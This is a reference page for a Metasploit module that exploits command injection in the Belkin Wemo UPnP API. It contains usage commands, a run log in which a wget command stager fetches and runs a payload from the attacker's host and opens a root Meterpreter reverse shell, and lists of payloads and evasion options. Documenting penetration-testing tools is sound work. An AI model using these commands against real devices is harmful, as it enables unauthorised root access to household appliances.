Belkin Wemo UPnP Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/upnp/belkin_wemo_upnp_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Belkin Wemo UPnP Remote Code Execution
Module: exploit/linux/upnp/belkin_wemo_upnp_exec
Source code: modules/exploits/linux/upnp/belkin_wemo_upnp_exec.rb
Disclosure date: 2014-04-04
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): cmd, mipsle
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 49152
List of CVEs: -
This module exploits a command injection in the Belkin Wemo UPnP API via the SmartDevURL argument to the SetSmartDevInfo action. This module has been tested on a Wemo-enabled Crock-Pot, but other Wemo devices are known to be affected, albeit on a different RPORT (49153).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/linux/upnp/belkin_wemo_upnp_exec
msf exploit(belkin_wemo_upnp_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Introduction
This module exploits a command injection in the Belkin Wemo UPnP API via
the SmartDevURL argument to the SetSmartDevInfo action.
This module has been tested on a Wemo-enabled Crock-Pot, but other Wemo
devices are known to be affected, albeit on a different RPORT (49153).
Setup
You may buy the device on Amazon at https://www.amazon.com/dp/B00IPEO02C/.
Targets
Id Name
-- ----
0 Unix In-Memory
1 Linux Dropper
Options
RPORT
Set this to the Wemo device's UPnP port. In our testing, this was 49152 for Crock-Pot and 49153 for other devices.
Usage
msf5 exploit(linux/upnp/belkin_wemo_upnp_exec) > run
[*] Started reverse TCP handler on 10.22.22.4:4444
[+] Wemo-enabled device detected
[*] Found firmware version: 2.00.6461
[+] Firmware version 2.00.6461 < 2.00.8643
[*] 10.22.22.1:49152 - The target appears to be vulnerable.
[*] Using URL: http://0.0.0.0:8080/CKgRyLqQZtBY6
[*] Local IP: http://[redacted]:8080/CKgRyLqQZtBY6
[*] Generated command stager: ["wget -qO /tmp/aOLC8QmRUAMLeQXrxSLP2KuMYqEvD2P http://10.22.22.4:8080/CKgRyLqQZtBY6", "chmod +x /tmp/aOLC8QmRUAMLeQXrxSLP2KuMYqEvD2P", "/tmp/aOLC8QmRUAMLeQXrxSLP2KuMYqEvD2P", "rm -f /tmp/aOLC8QmRUAMLeQXrxSLP2KuMYqEvD2P"]
[*] Regenerated command stager: cp /bin/sh /tmp/aOLC8QmRUAMLeQXrxSLP2KuMYqEvD2P;wget -qO /tmp/aOLC8QmRUAMLeQXrxSLP2KuMYqEvD2P http://10.22.22.4:8080/CKgRyLqQZtBY6;/tmp/aOLC8QmRUAMLeQXrxSLP2KuMYqEvD2P;rm -f /tmp/aOLC8QmRUAMLeQXrxSLP2KuMYqEvD2P
[*] Client 10.22.22.1 (Wget) requested /CKgRyLqQZtBY6
[*] Sending payload to 10.22.22.1 (Wget)
[*] Transmitting intermediate stager...(164 bytes)
[*] Sending stage (1252312 bytes) to 10.22.22.1
[*] Meterpreter session 1 opened (10.22.22.4:4444 -> 10.22.22.1:4607) at 2019-02-12 14:37:37 -0600
[*] Server stopped.
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 10.22.22.1
OS : (Linux 2.6.21)
Architecture : mips
BuildTuple : mipsel-linux-muslsf
Meterpreter : mipsle/linux
meterpreter >
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Msfconsole Usage
Here is how the linux/upnp/belkin_wemo_upnp_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/upnp/belkin_wemo_upnp_exec
[*] Using configured payload linux/mipsle/meterpreter_reverse_tcp
msf6 exploit(linux/upnp/belkin_wemo_upnp_exec) > show info
Name: Belkin Wemo UPnP Remote Code Execution
Module: exploit/linux/upnp/belkin_wemo_upnp_exec
Platform: Unix, Linux
Arch: cmd, mipsle
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-04-04
Provided by:
phikshun
wvu <[email protected]>
nstarke
Module side effects:
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix In-Memory
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 49152 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a command injection in the Belkin Wemo UPnP API
via the SmartDevURL argument to the SetSmartDevInfo action. This
module has been tested on a Wemo-enabled Crock-Pot, but other Wemo
devices are known to be affected, albeit on a different RPORT
(49153).
References:
https://web.archive.org/web/20150901094849/http://disconnected.io/2014/04/04/universal-plug-and-fuzz/
https://github.com/phikshun/ufuzz
https://gist.github.com/phikshun/10900566
https://gist.github.com/phikshun/9984624
https://www.crock-pot.com/wemo-landing-page.html
https://www.belkin.com/us/support-article?articleNum=101177
http://www.wemo.com/
CVE not available for the following reason:
Patched in 2.00.8643 without vendor disclosure
Module Options
This is a complete list of options available in the linux/upnp/belkin_wemo_upnp_exec exploit:
msf6 exploit(linux/upnp/belkin_wemo_upnp_exec) > show options
Module options (exploit/linux/upnp/belkin_wemo_upnp_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 49152 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/mipsle/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
Advanced Options
Here is a complete list of advanced options supported by the linux/upnp/belkin_wemo_upnp_exec exploit:
msf6 exploit(linux/upnp/belkin_wemo_upnp_exec) > show advanced
Module advanced options (exploit/linux/upnp/belkin_wemo_upnp_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes Writable directory
Payload advanced options (linux/mipsle/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/upnp/belkin_wemo_upnp_exec module can exploit:
msf6 exploit(linux/upnp/belkin_wemo_upnp_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Unix In-Memory
1 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/upnp/belkin_wemo_upnp_exec exploit:
msf6 exploit(linux/upnp/belkin_wemo_upnp_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/mipsle/exec normal No Linux Execute Command
4 payload/linux/mipsle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
5 payload/linux/mipsle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
6 payload/linux/mipsle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
7 payload/linux/mipsle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
8 payload/linux/mipsle/reboot normal No Linux Reboot
9 payload/linux/mipsle/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
10 payload/linux/mipsle/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
11 payload/linux/mipsle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/upnp/belkin_wemo_upnp_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/upnp/belkin_wemo_upnp_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Wemo-enabled device not detected
Here is a relevant code snippet related to the "Wemo-enabled device not detected" error message:
83: 'method' => 'GET',
84: 'uri' => '/setup.xml'
85: )
86:
87: unless res && res.code == 200 && res.body.include?('urn:Belkin:device:')
88: vprint_error('Wemo-enabled device not detected')
89: return checkcode
90: end
91:
92: vprint_good('Wemo-enabled device detected')
93: checkcode = CheckCode::Detected
Could not determine firmware version
Here is a relevant code snippet related to the "Could not determine firmware version" error message:
94:
95: version = (v = res.get_xml_document.at('firmwareVersion')&.text) &&
96: v =~ /WeMo_WW_(\d+(?:\.\d+)+)/ && $1 && Rex::Version.new($1)
97:
98: unless version
99: vprint_error('Could not determine firmware version')
100: return checkcode
101: end
102:
103: vprint_status("Found firmware version: #{version}")
104:
Firmware version <VERSION> >= 2.00.8643
Here is a relevant code snippet related to the "Firmware version <VERSION> >= 2.00.8643" error message:
105: # https://www.tripwire.com/state-of-security/featured/my-sector-story-root-shell-on-the-belkin-wemo-switch/
106: if version < Rex::Version.new('2.00.8643')
107: vprint_good("Firmware version #{version} < 2.00.8643")
108: checkcode = CheckCode::Appears
109: else
110: vprint_error("Firmware version #{version} >= 2.00.8643")
111: checkcode = CheckCode::Safe
112: end
113:
114: checkcode
115: end
Go back to menu.
Related Pull Requests
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- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_filemethod - #15540 Merged Pull Request: Add option for running
cmd_executein a subshell - #15303 Merged Pull Request: Fix
dirmethod for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE: Not available
- https://web.archive.org/web/20150901094849/http://disconnected.io/2014/04/04/universal-plug-and-fuzz/
- https://github.com/phikshun/ufuzz
- https://gist.github.com/phikshun/10900566
- https://gist.github.com/phikshun/9984624
- https://www.crock-pot.com/wemo-landing-page.html
- https://www.belkin.com/us/support-article?articleNum=101177
- http://www.wemo.com/
See Also
Check also the following modules related to this module:
- auxiliary/admin/upnp/soap_portmapping
- auxiliary/dos/upnp/miniupnpd_dos
- auxiliary/scanner/upnp/ssdp_amp
- auxiliary/scanner/upnp/ssdp_msearch
- exploit/linux/http/dlink_upnp_exec_noauth
- exploit/linux/http/realtek_miniigd_upnp_exec_noauth
- exploit/linux/upnp/dlink_dir859_exec_ssdpcgi
- exploit/linux/upnp/dlink_dir859_subscribe_exec
- exploit/linux/upnp/dlink_upnp_msearch_exec
- exploit/linux/upnp/miniupnpd_soap_bof
- exploit/multi/upnp/libupnp_ssdp_overflow
- exploit/osx/mdns/upnp_location
- exploit/linux/http/belkin_login_bof
- exploit/windows/http/belkin_bulldog
- auxiliary/admin/wemo/crockpot
Authors
- phikshun
- wvu
- nstarke
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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